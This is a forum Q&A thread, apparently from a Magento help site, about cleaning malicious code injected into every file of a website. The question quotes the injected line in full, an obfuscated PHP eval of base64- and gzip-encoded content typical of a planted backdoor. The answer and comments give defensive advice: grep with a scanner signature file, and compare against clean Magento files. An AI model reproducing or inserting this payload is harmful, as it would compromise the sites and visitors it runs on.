I am seeing some malicious code in the website. Each files of every folder is affected by this code. How to remove this code from the website?

Is any script to remove or replace this malicious code?

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>

1 Answer 1


You need to download file from mwscan.s3.amazonaws.com/mwscan.txt

follow below steps

  • save file with name mwscan.txt or with other name with txt format.
  • Put file into your magento directory root.
  • Open terminal and goto magento directory
  • fire this command => grep -Erlf mwscan.txt filename/directory-name

grep -Erlf mwscan.txt index.php

grep -Erlf mwscan.txt app

  • This will give you result as filenames which have malicious code.

Hope this Helps.

source : https://github.com/gwillem/magento-malware-scanner/blob/master/docs/usage.md

  • Thanks @Dharmesh, But I am asking to remove that code. Commented Oct 30, 2018 at 6:45
  • You can simply compare file with fresh magento file and remove code
    – Dharmesh
    Commented Oct 30, 2018 at 6:50
  • any other way to remove Commented Oct 30, 2018 at 7:20
  • i don't thinks so, because magento also have this type of code to encrypt password, api details etc. so its better to do this manually . once you get list of files of malicious code, you can compare files with fresh magento version files.
    – Dharmesh
    Commented Oct 30, 2018 at 7:24

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.